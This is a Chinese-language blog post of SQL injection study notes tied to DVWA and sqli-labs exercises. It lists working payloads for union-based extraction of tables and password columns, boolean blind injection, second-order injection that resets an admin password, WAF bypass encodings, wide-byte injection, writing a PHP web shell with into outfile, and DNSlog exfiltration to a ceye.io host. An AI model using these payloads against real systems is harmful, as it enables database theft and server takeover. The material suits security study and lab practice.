sql注入有关

sql注入

有关select* from user where '____';
注入点:select* from user where '1'-- ';(--后面要空格注释掉后面的分号)

注入流程

1.判断是否存在注入点,如果存在,判断注入点的类型
(数字型 字符型 查找型)
2.猜目标sql查询所查询的字段数 :select a,b,c from table where... /order by 2 这为查询三个字段

  1. 确定各个字段显示的顺序

4.获取当前显示数据的数据库:
//字符链接 concat_ws(分隔符,x,x,x) char32空格 char58
' union select concat_ws(char(32,58,32),database(),user(),version()),concat_ws(char(32,58,32),@@version_compile_os,@@datadir) #

5.获取当前数据库中所有的表名
'union select table_schema,table_name from information_schema.tables where table_schema = 'database()' # ;
' union table_schema,table_name from information_schema.tables where table_schema='database()' --
展示dvwa数据库的所有表名
information_schema:所有数据库名称、数据库的表名、表中的字段名(列名)...

  1. 获取目标表的所有字段名
    'union select column_name,table_name from information_schema.colunms where table_schema ='dvwa' and table_name ='users' # ;
    查看dvwa库中user表中的所有字段名

7.获取数据
' union select user_id,password from dvwa.users # ;
获取所有users表中的信息

布尔型注入知识点

left() left(database(),1)='s' left(a,b)表示从a左侧截取b位 正确返回1 反之返回0
regexp select user() regexp'r' 从左向右匹配 全部正确返回1 反之返回0
like select user() like'ro%' 与regexp 一样
substr select (a,b,c) 从位置b开始,截取a字符串c位长度
ascii 转化为asiii码
chr(数字) ord('字母')

ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>117 --
ascii(substr((select column_name from information_schema.columns where table_name='user' limit 1,1),1,1))>117 --
//通过将查询结果转化为ascii码在判断函数里面和给出ascii码进行比较(二分法猜测)

load_file(): select load_file('路径')
into outfile : select '***' into outfile '1.txt' Mysql /data里面(默认)

---23
分号和井号被替换成空格 用;%00 注释

二次注入

update user set password ='' where username='';
admin'#用户登录: update user set password ='000' where username='admin'#';
导致admin'#越权修改admin的密码

sql注入waf绕过知识点

1.白盒绕过:

通过源代码分析,来进行绕过。

2.黑盒绕过:

(1)架构层面绕过waf

寻找源网站绕过waf(类似CDN)、通过同网段绕过waf

(2)资源限制层面绕过waf

一般waf对构造较大、超大数据包不会进行检测,从而实现绕过

(3)协议层面绕过waf

1.由于业务需要 只对get进行检测 post数据选择忽略、
2.index?id=1&id=2 waf可能只对id=1 进行检测;

(4)规则层面的绕过

1.sql注释符绕过(如Less23 ;%00)
(union/**/select 将之间的空格使用注释符进行替换)
(union /aaaaaaaaaaaaaaaa/ 构造较大数据包)
(//内联注释 mysql特有)
2.空白符绕过
(mysql:空白 : %09;%0A;%0B;%0D;)
(正则空白符:%09 %0A %0B %0D %20)
%a0替换空格、;%00 充当注释符
3.函数分隔符号
比如concat() 会被waf识别 ---> concat%2520() concat/*/()
4.浮点数词法解释
waf对id=1检测 但是对id=1E0 id=1.0 id=\N 无法检测
5.利用error-based进行sql注入
6.mysql特殊语法
select{x schema_name}from {x information_schema.schemata};
7.大小写绕过
mysql对大小写不敏感 sElect 1,2,3
8.关键字重复
OORr--->or

宽字节注入原理

GBK等编码是宽字节也就是两个字节 而ascii编码是一个字节
就会出现将两个ascii编码字符误认为是一个宽字节字符
例如: id=1' 会被处理成 1' -->1%5c%27
带入sql后 id=' and xxxx 无法注入(不影响sql语句的执行)
(方法一) id=1%df' 会被处理成 1%df' --->1%df%5c%27
带入sql后id=1運' and xxx 存在出入漏洞

(方法二)%aa%5c %5c%5c %27 (猏\')
mysql函数:
addslashes():再单引号 双引号 反斜杠(\) null 前面添加反斜杠。
mysql_real_escape_string():\x00 、 \n 、 \r 、 \、 '、 " 、 \x1a 这些字符将被转义。
lines terminated by xxx:用于order by 后面 以xxx作为结尾

堆叠注入

:在一个sql语句执行完分号结尾 后面再跟一个sql语句。

select '' into outfile 'D:\phpStudy\WWW\shell.php'

---46 对order by后面存在注入
select * from users order by xxx
xxx处存在注入漏洞

group_concat(table_name) from information_schema.tables where table_schema='chanllenges'

补充

Dnslog 盲注

(load_file()仅适用于windows系统)
当网页没有回显信息并且需要时间型 布尔型盲注时,一方面效率太低,一方面可能网页会限制你访问次数
Dnslog盲注原理:利用concat()等函数将我们要执行的sql语句和域名进行拼接访问,执行之后去查看dns的解析日志
在日志里面就会直接把我们sql语句执行结果显示出来
语句用法: ' and load_file(concat('\\',(select database())m'.xxxx.ceye.io\abc'))--+

posted @ 2020-09-15 13:13  cjz12138  阅读(245)  评论(0)    收藏  举报